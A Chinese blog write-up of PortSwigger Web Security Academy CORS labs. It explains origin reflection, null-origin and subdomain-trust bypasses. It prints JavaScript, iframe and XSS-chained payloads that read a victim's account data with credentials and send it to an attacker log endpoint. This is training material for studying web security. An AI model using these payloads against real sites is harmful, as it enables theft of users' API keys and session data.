PortSwigger-04-cors

article/2025/8/20 7:49:05

一:漏洞原理

1、简介

  • cors简称跨域资源共享:a页面想获取b页面的资源,如果a,b页面的协议、端口号、域名、子域名不相同的,所进行的访问行动都是跨域的,而浏览器为了安全问题一般都限制了跨域访问,也就是不允许跨域请求资源。注意:跨域限制访问其实就是浏览器的限制
  • 举例:你发送一个登录请求,是一个非简单的请求。浏览器首先会发送options请求,如果服务器不允许跨域,请求会直接结束,后续的登录请求就不会发送
    在这里插入图片描述

2、差异性质

(1)cors 和 ssrf的区别

  • CORS是一种安全机制,旨在控制浏览器在跨域请求时的访问权限,放置恶意网站访问其他域中的敏感数据,CORS的主要目的就是确保客户端仅存允许的特定域名加载资源;CORS(跨资源共享)漏洞通常出现在服务端上,当服务器未正确配置CORS的时候,可能会出现恶意网站从客户端浏览器中获取敏感数据
  • CSRF:是top10漏洞中常见的漏洞,旨在欺骗用户在他们已经的登录的网站上执行未经授权的操作。攻击者诱骗用户在受害网站上执行操作,而不是在攻击者控制的网站上,CSRF是一种社会工程学攻击,攻击者通常通过欺骗用户来触发用户在另一个网站上不希望的操作

(2)如何测试cors漏洞

  • 如果相应包中出现 Access-Cintrol-Allow-Credentials的时候就需要注意这个漏洞,可以在请求包中添加 Origin字段来进行测试!

通常都是编写恶意的js代码 或者html代码来进行恶意的请求来获取敏感信息(本质的原理还是服务器没有做正确的限制和验证功能,导致可以通过恶意的网站获取目标网站的敏感数据)

3、CORS配置问题引起的漏洞

许多现代网站使用cors来允许来自子域和受信任的第三方访问,如果cors的配置不当可能会导致漏洞的产生

  • 方法1:从请求头中获取Origin标头,并包含一个响应标头,说明允许该域请求资源
  • Access-Control-Allow-Origin: https://malicious-website.com 表示允许该域对自己的域资源进行访问请求,由于只检测了Origin,那么意味着所有的域都可以访问该域的资源
#请求包
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
#响应包
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

那么我们可以在我们自己的VPS中放置恶意脚本来获取其他域的敏感信息

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();function reqListener() {location='//malicious-website.com/log?key='+this.responseText;
};

二:PortSwigger靶场

参考链接:https://blog.csdn.net/qq_33168924/article/details/135685982

1、具有基本起源反射的CORS漏洞

(1)实验要求:该网站具有不安全的CORS配置,它信任所有的来源,编写js脚本,使用cors检索管理员的API密钥并将代码上传到漏洞利用服务器
(2)响应包中出现Access-Control-Allow-Credentials字段,可能会存在CORS漏洞,添加任意的标头,看响应包中是否允许改域进行访问
在这里插入图片描述
然后在自己VPS上填写恶意脚本,并将url指向需要访问的目标域的url资源,当受害者访问到我们的恶意脚本的时候就可以获取目标域的敏感信息了

<script>
document.cookie = "session=ewwuyznM5miWJGZVlAUe7Mswms2UP6YQ";
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://0adf002103eb557481e3201600200077.web-security-academy.net/accountDetails', true);
req.withCredentials = true;
req.send();
function reqListener() {location = '/log?key=' + this.responseText;
};
</script>

受害者点击vps上放置的恶意脚本触发;获取到了目标域中的敏感数据
在这里插入图片描述
然后解码以下发现成功利用了cors漏洞

2、具有可信空源的CORS漏洞

(1)原理:一些网站会设置白名单来对cors请求进行过滤,只能允许特定的外域来进行跨域请求,如何绕过?

  • 再实施CORS源站白名单的时候,会出现忽略,允许本域的子域来访问,这样的话还是不能避免跨域请求攻击
#服务器允许改域访问
normal-website.com
可以构造子域发现也可以进行跨域访问
normal-website.com.evil-user.net
hackersnormal-website.com
  • null也可以绕过白名单
#请求包
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
#相应包
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

可以使用沙盒跨域请求来完成

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','https://0a4700950475eb6d802dd012008200d2.web-security-academy.net//accountDetails',true);req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a77005d0478eb9c80f3cfcb01ad0022.exploit-server.net/log?key='+encodeURIComponent(this.responseText);};
</script>"></iframe>

3、受信任的不安全协议的CORS漏洞

(1)实验要求:

父域允许子域CORS敏感信息,子域存在XSS漏洞、从子域发出xss漏洞请求父域的敏感信息,并将敏感信息发送到hacker控制的服务器上。

(2)原理:

即使正确配置了CORS,也可以在两个源之间建立信任关系,如果一个网站存在xss漏洞、则攻击者可以利用存在xss的网站注入一些js脚本,这些js可以通过CORS从信任易受攻击的站点检索敏感信息。

<script>document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

http://www.hkcw.cn/article/LSUMuxPHRU.shtml

相关文章

2025年机械化设计制造与计算机工程国际会议(MDMCE 2025)

2025年机械化设计制造与计算机工程国际会议&#xff08;MDMCE 2025&#xff09; 2025 International Conference on Mechanized Design, Manufacturing, and Computer Engineering 一、大会信息 会议简称&#xff1a;MDMCE 2025 大会地点&#xff1a;中国贵阳 审稿通知&#…

游客在新加坡酒店吃榴莲被罚千元:要找专业人清洁房间残留的榴莲味道

5月26日,一位中国游客发视频称其到新加坡旅游,因为在酒店房间里吃榴莲被罚款200元新币(折合人民币1100多元)清洁费。她表示自己是第一次来新加坡旅游,不知道东南亚酒店常见的相关规定。酒店前台称,因为要找专业人士来清洁房间残留的榴莲味道,还需要空置好几天。事后该名…

技术栈ES的介绍和使用

目录 1. 全文搜索引擎&#xff08;Elastic Search&#xff09;的由来2. Elastic Search 概述2.1 Elastic Search 介绍2.2 Elastic Search 功能2.3 Elastic Search 特点 3. 安装 Elastic Search3.1 ES 的安装3.2 安装 kibana3.3 ES 客户端的安装 4. Elastic Search 基本概念4.1 …

乘客从胡塞客机上逃离画面!

乘客从胡塞客机上逃离画面。对民航下狠手!以色列炸毁胡塞最后一架客机,乘客纷纷从客机上逃离。而在5月6日,胡塞的客机均被以色列团灭,这是仅剩最后的一架客机,也难逃一劫。对民用航空都下此狠手,可以想象以色列有什么不敢干的?如果当时乘客再晚一步下飞机,后果将不堪设…

11 java语言执行浅析1

Java 是基于线程模型的语言&#xff0c;程序的执行是通过线程来调度和运行的。 一、Java 的最小执行单元&#xff1a;线程&#xff08;Thread&#xff09; 每个 Java 程序至少有一个主线程&#xff08;main thread&#xff09;&#xff0c;它从 main() 方法开始执行。所有代码…

单调栈的例题与代码

首先&#xff0c;我们来看看例题&#xff1a; 给定一个长度为 N 的整数数列&#xff0c;输出每个数左边第一个比它小的数&#xff0c;如果不存在则输出 −1 。 输入格式&#xff1a; 第一行包含整数 N &#xff0c;表示数列长度。第二行包含 N 个整数&#xff0c;表示整数数列…

事务Transaction

事务&#xff08;Transaction&#xff09;是数据库管理系统中的一个重要概念&#xff0c;它是一组操作的集合&#xff0c;这些操作要么全部成功&#xff0c;要么全部失败&#xff0c;以确保数据的完整性和一致性。 一、事务的特性&#xff08;ACID&#xff09; 原子性&#xf…

RPG改进1.轻击与重击的搭配与连续释放

这一篇做不做都可以&#xff0c;后面视频作者会做的 就比如&#xff0c;当玩家想abaaba/aabaab/ababaa/abababab/aaaba/baabaa等搭配的释放时&#xff0c;可以进行改进。 1.创建动画通知 2.打开攻击的蒙太奇,添加动画通知 3.打开LightAttackMaster&#xff0c;添加变量 4.打开…

MySQL 索引和事务

目录 一&#xff1a;MySQL 索引介绍 1&#xff1a;索引概述 2&#xff1a;索引作用 3&#xff1a;索引的分类 &#xff08;1&#xff09;普通索引 &#xff08;2&#xff09;唯一索引 &#xff08;3&#xff09;主键索引 &#xff08;4&#xff09;组合索引&#xff08…

MySQL 数据库操作

目录 一. MySQL 数据库介绍 二. MySQL 库操作 1.系统数据库 2.数据库操作 三. MySQL 表操作 1.表介绍 2.查看表 3.创建表 4.查看表结构 5.修改表 6.复制和删除 四. MySQL 数据操作 1.插入数据 INSERT 2.删除与更新 INSERT 4.查询数据 INSERT 单表查询 1.单表…

郑州首店停工?胖东来方面回应 工程正常对接中

随着于东来此前公布的胖东来郑州首店开业日期(2026年元旦)临近,网友愈发关注该超市的动态。近日,有网友发现该店的建设似乎停工了。跟不久前热热闹闹的地面部分施工现场相比,如今很难见到工人师傅的身影,甚至“中建七局”几个大字已被拆除。这让网友们开始担忧是否能按计…

女子穿高跟鞋跑步摔伤起诉健身房 责任划分引争议

女子穿高跟鞋跑步摔伤起诉健身房 责任划分引争议!一名女子穿着高跟鞋在健身房跑步机上跑步,不久后因跟不上跑步机速度而摔倒,导致十级伤残。她随后起诉健身房要求赔偿。然而,健身房跑步机旁的墙上贴有不能穿高跟鞋跑步的提醒。2024年3月8日,刘娜(化名)穿着高跟鞋进入益阳…

减肥走回家时家人会在路上迎接我

减肥走回家时家人会在路上迎接我。责任编辑:zx0002

沃尔沃高管谈汽车安全:不抢风头,只想多救一命

沃尔沃高管谈汽车安全。4月15日晚,全新一代沃尔沃XC90正式上线,限时尊享价从47.9万元起跳。这台顶着“旗舰SUV”光环的北欧大块头,不但没来啥夸张参数堆料,也没整那些炫酷得让人眼花缭乱的智能化噱头——它依然稳稳地押注在“安全”两个字上,用最不招摇的方式稳扎传统豪华…

主持人李彬因长期服药满头白发面部浮肿,却依旧保持乐观

5月29日,知名主持人李彬罕见露面发视频,视频中李彬满头白发声音沙哑向大家问好。此前,李彬曾自曝生病,需长期服用药物导致面部浮肿,却依旧保持乐观。李彬,出生于河北省衡水市,中国影视演员、主持人,曾主持《超级大赢家》。责任编辑:zx0002

.NET WinForm图像识别二维码/条形码并读取其中内容

需求:图像识别出一张图片中的二维码或者条形码&#xff0c;并读取其中内容。 一、安装库(特别注意&#xff0c;网上很多都没说清楚) 如果是基于.net framework&#xff0c;则安装ZXing.Net(建议0.14.0版本左右&#xff0c;具体看实际&#xff0c;版本太高&#xff0c;部分接口…

Java 注解与反射(超详细!!!)

Java 注解与反射&#xff08;超详细&#xff01;&#xff01;&#xff01;&#xff09; 文章目录 Java 注解与反射&#xff08;超详细&#xff01;&#xff01;&#xff01;&#xff09;1.注解1.1内置注解1.1.1 SuppressWarnings注解用法 1.2 元注解1.3自定义注解 2.反射2.1 反…

开关电源输出噪声--陶瓷 电解电容差异

对于LED恒流源驱动&#xff0c;输出只用电解电容&#xff0c;噪声大 对于LED恒流源驱动&#xff0c;输出用电解电容和陶瓷电容&#xff08;C77& C78改成22uf陶瓷电容&#xff09;&#xff0c;噪声小到50 mV左右

【运维实战】定时任务-crontab命令

定时任务的应用场景 数据备份 定期对重要数据进行备份&#xff0c;是保障数据安全的重要手段。比如&#xff0c;我们可以设置每周日凌晨对整个数据库进行全量备份&#xff0c;或者每天对关键业务数据进行增量备份。这样&#xff0c;即便遇到硬件故障、误操作等意外情况&#…

[免费]SpringBoot+Vue垃圾分类管理【论文+源码+SQL脚本】

大家好&#xff0c;我是java1234_小锋老师&#xff0c;看到一个不错的SpringBootVue垃圾分类管理【论文源码SQL脚本】&#xff0c;分享下哈。 项目视频演示 【免费】SpringbootVue垃圾分类管理系统 Java毕业设计_哔哩哔哩_bilibili 项目介绍 本论文主要论述了如何使用JAVA语言…